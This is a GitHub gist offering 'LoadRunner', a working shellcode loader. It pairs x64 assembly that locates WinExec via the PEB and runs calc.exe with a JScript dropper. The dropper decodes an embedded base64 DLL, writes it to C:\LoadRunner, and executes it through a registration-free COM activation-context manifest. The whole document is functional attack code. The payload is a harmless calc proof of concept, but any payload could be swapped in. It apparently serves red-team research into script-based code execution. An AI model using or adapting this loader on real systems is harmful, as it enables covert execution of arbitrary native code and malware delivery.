Load DLL / Shellcode from JScript.
Created
December 24, 2020 04:33
-
-
Save slyd0g/e8857f5f00fa519f4f7221fbcf21ec8b to your computer and use it in GitHub Desktop.
LoadRunner - Simple Shellcode Loader from JS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Copyright (c) 2009-2014, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com> | |
; and Peter Ferrie <peter.ferrie@gmail.com> | |
; Project homepage: http://code.google.com/p/win-exec-calc-shellcode/ | |
; All rights reserved. See COPYRIGHT.txt for details. | |
; Windows x64 null-free shellcode that executes calc.exe. | |
; Works in any x64 application for Windows 5.0-6.3 all service packs. | |
; | |
; nasm -f win64 LoadRunner.asm | |
; golink.exe /dll /entry DllGetClassObject LoadRunner.obj | |
;%include 'type-conversion.asm' | |
; Macros for converting between bytes, words, dwords and qwords | |
%define B2W(b1,b2) (((b2) << 8) + (b1)) | |
%define W2DW(w1,w2) (((w2) << 16) + (w1)) | |
%define DW2QW(dw1,dw2) (((dw2) << 32) + (dw1)) | |
%define B2DW(b1,b2,b3,b4) ((B2W(b3, b4) << 16) + B2W(b1, b2)) | |
%define B2QW(b1,b2,b3,b4,b5,b6,b7,b8) ((B2DW(b5,b6,b7,b8) << 32) + B2DW(b1,b2,b3,b4)) | |
%define W2QW(w1,w2,w3,w4) ((W2DW(w3,w4) << 32) + W2DW(w1,w2)) | |
BITS 64 | |
SECTION .text | |
global DllGetClassObject | |
export DllGetClassObject | |
section .text | |
;To print an ASCIIZ string | |
;Push the address of the string | |
;No arguments | |
DllGetClassObject: | |
push 0 | |
nop | |
nop | |
nop | |
nop | |
nop | |
nop | |
nop | |
call shellcode | |
ret | |
; x64 WinExec *requires* 16 byte stack alignment and four QWORDS of stack space, which may be overwritten. | |
; http://msdn.microsoft.com/en-us/library/ms235286.aspx | |
%ifndef PLATFORM_INDEPENDENT | |
global shellcode | |
shellcode: | |
%ifdef FUNC ; assumes stack ends with 8 on entry, use STACK_ALIGN if it might not be. | |
%ifdef CLEAN ; 64-bit calling convention considers RAX, RCX, RDX, R8, R9, R10 and R11 | |
PUSH RAX ; volatile. Use CLEAN if you want to preserve those as well. | |
PUSH RCX | |
PUSH RDX | |
%endif | |
PUSH RBX | |
PUSH RSI | |
PUSH RDI | |
PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned | |
%endif | |
%ifdef STACK_ALIGN | |
%ifdef FUNC | |
PUSH RSP | |
POP RAX | |
%endif | |
AND SP, -16 ; Align stack to 16 bytes | |
; (we can't force it to end with 8 without dummy push and then or) | |
PUSH RAX ; Force stack to end with 8 before next push, also saves RSP to restore stack | |
%elifdef CLEAN | |
PUSH RAX ; dummy push to make stack end with 8 before next push | |
%endif | |
; Note to SkyLined: instructions on 32-bit registers are automatically sign-extended to 64-bits. | |
; This means LODSD will set the high DWORD of RAX to 0 if top bit of EAX was 0, or 0xFFFFFFFF if it was 0x80000000. | |
PUSH BYTE 0x60 ; Stack | |
POP RDX ; RDX = 0x60 | |
%else | |
%ifdef FUNC | |
%ifdef CLEAN | |
PUSH RAX ; exchanged RDX | |
PUSH RCX | |
%endif | |
PUSH RBX | |
PUSH RSI | |
PUSH RDI | |
PUSH RBP ; Stack now ends with 8 (!CLEAN) or is 16 byte (CLEAN) aligned | |
%endif | |
%ifdef CLEAN | |
%ifndef STACK_ALIGN | |
PUSH RAX ; dummy push to make stack end with 8 before next push | |
%endif | |
%endif | |
MOV DL, 0x60 | |
%endif | |
%ifndef USE_COMMON | |
PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc\0\0\0\0" (stack alignment changes) | |
PUSH RSP | |
POP RCX ; RCX = &("calc") | |
%endif | |
SUB RSP, RDX ; Stack was 16 byte aligned already and there are >4 QWORDS on the stack. | |
MOV RSI, [GS:RDX] ; RSI = [TEB + 0x60] = &PEB | |
MOV RSI, [RSI + 0x18] ; RSI = [PEB + 0x18] = PEB_LDR_DATA | |
MOV RSI, [RSI + 0x10] ; RSI = [PEB_LDR_DATA + 0x10] = LDR_MODULE InLoadOrder[0] (process) | |
LODSQ ; RAX = InLoadOrder[1] (ntdll) | |
MOV RSI, [RAX] ; RSI = InLoadOrder[2] (kernel32) | |
MOV RDI, [RSI + 0x30] ; RDI = [InLoadOrder[2] + 0x30] = kernel32 DllBase | |
; Found kernel32 base address (RDI) | |
shellcode_common: | |
ADD EDX, DWORD [RDI + 0x3C] ; RBX = 0x60 + [kernel32 + 0x3C] = offset(PE header) + 0x60 | |
; PE header (RDI+RDX-0x60) = @0x00 0x04 byte signature | |
; @0x04 0x18 byte COFF header | |
; @0x18 PE32 optional header (= RDI + RDX - 0x60 + 0x18) | |
MOV EBX, DWORD [RDI + RDX - 0x60 + 0x18 + 0x70] ; RBX = [PE32+ optional header + offset(PE32+ export table offset)] = offset(export table) | |
; Export table (RDI+EBX) = @0x20 Name Pointer RVA | |
MOV ESI, DWORD [RDI + RBX + 0x20] ; RSI = [kernel32 + offset(export table) + 0x20] = offset(names table) | |
ADD RSI, RDI ; RSI = kernel32 + offset(names table) = &(names table) | |
; Found export names table (RSI) | |
MOV EDX, DWORD [RDI + RBX + 0x24] ; EDX = [kernel32 + offset(export table) + 0x24] = offset(ordinals table) | |
; Found export ordinals table (RDX) | |
find_winexec_x64: | |
; speculatively load ordinal (RBP) | |
MOVZX EBP, WORD [RDI + RDX] ; RBP = [kernel32 + offset(ordinals table) + offset] = function ordinal | |
LEA EDX, [RDX + 2] ; RDX = offset += 2 (will wrap if > 4Gb, but this should never happen) | |
LODSD ; RAX = &(names table[function number]) = offset(function name) | |
CMP DWORD [RDI + RAX], B2DW('W', 'i', 'n', 'E') ; *(DWORD*)(function name) == "WinE" ? | |
JNE find_winexec_x64 ; | |
MOV ESI, DWORD [RDI + RBX + 0x1C] ; RSI = [kernel32 + offset(export table) + 0x1C] = offset(address table) | |
ADD RSI, RDI ; RSI = kernel32 + offset(address table) = &(address table) | |
MOV ESI, [RSI + RBP * 4] ; RSI = &(address table)[WinExec ordinal] = offset(WinExec) | |
ADD RDI, RSI ; RDI = kernel32 + offset(WinExec) = WinExec | |
; Found WinExec (RDI) | |
CDQ ; RDX = 0 (assuming EAX < 0x80000000, which should always be true) | |
CALL RDI ; WinExec(&("calc"), 0); | |
%ifdef FUNC | |
%ifdef CLEAN | |
%ifdef STACK_ALIGN | |
ADD RSP, 0x68 ; reset stack to where it was after pushing registers | |
%else | |
ADD RSP, 0x70 ; reset stack to where it was after pushing registers | |
%endif | |
%else | |
ADD RSP, 0x68 ; reset stack to where it was after pushing registers | |
%endif | |
%ifndef PLATFORM_INDEPENDENT | |
%ifdef STACK_ALIGN | |
POP RSP | |
%endif | |
%endif | |
POP RBP ; POP registers | |
POP RDI | |
POP RSI | |
POP RBX | |
%ifndef PLATFORM_INDEPENDENT | |
%ifdef CLEAN | |
POP RDX ; POP additional registers | |
POP RCX | |
POP RAX | |
%endif | |
RET ; Return | |
%else | |
%ifdef CLEAN | |
POP RCX ; POP additional registers | |
POP RDX | |
%endif | |
%ifdef STACK_ALIGN | |
POP RSP | |
%endif | |
%ifdef CLEAN | |
POP RAX | |
%endif | |
RET ; Return | |
%endif | |
%endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="COM" version="1.0.0.0"/> <file name="LoadRunner.dll"> <comClass description="LoadRunner" clsid="{ACDCACDC-ACDC-ACDC-885C-ACDC5D6AACDC}" threadingModel="Both" progid="LoadRunner"/></file></assembly>' | |
var fso = new ActiveXObject("Scripting.FileSystemObject"); | |
var dropPath = 'C:\\LoadRunner'; //fso.GetSpecialFolder(2); | |
// Create Base64 Object, supports encode, decode | |
var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(a){Base64.characters;var r="",c=0;do{var e=a.charCodeAt(c++),t=a.charCodeAt(c++),h=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,r+=Base64.characters.charAt(s)+Base64.characters.charAt(A)+Base64.characters.charAt(o)+Base64.characters.charAt(B)}while(c<a.length);return r}}; | |
//Magic is just a cool way to decode to byte array ; | |
function Magic(r){if(!/^[a-z0-9+/]+={0,2}$/i.test(r)||r.length%4!=0)throw Error("Not base64 string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<r.length;d+=4)t=(a=f.indexOf(r.charAt(d))<<18|f.indexOf(r.charAt(d+1))<<12|(o=f.indexOf(r.charAt(d+2)))<<6|(i=f.indexOf(r.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return r=h.join("")} | |
function binaryWriter(res,filename) | |
{var base64decoded=Magic(res);var TextStream=new ActiveXObject('ADODB.Stream');TextStream.Type=2;TextStream.charSet='iso-8859-1';TextStream.Open();TextStream.WriteText(base64decoded);var BinaryStream=new ActiveXObject('ADODB.Stream');BinaryStream.Type=1;BinaryStream.Open();TextStream.Position=0;TextStream.CopyTo(BinaryStream);BinaryStream.SaveToFile(filename,2);BinaryStream.Close()} | |
var loadrunner = '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'; | |
binaryWriter(loadrunner,dropPath+"\\loadrunner.dll"); | |
var s = new ActiveXObject('WScript.Shell') | |
s.Environment('Process')('TMP') = 'C:\\LoadRunner'; | |
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx"); | |
actCtx.ManifestText = manifestXML; | |
// Load Runner | |
var dwx = actCtx.CreateObject("LoadRunner"); | |
WScript.StdIn.ReadLine(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment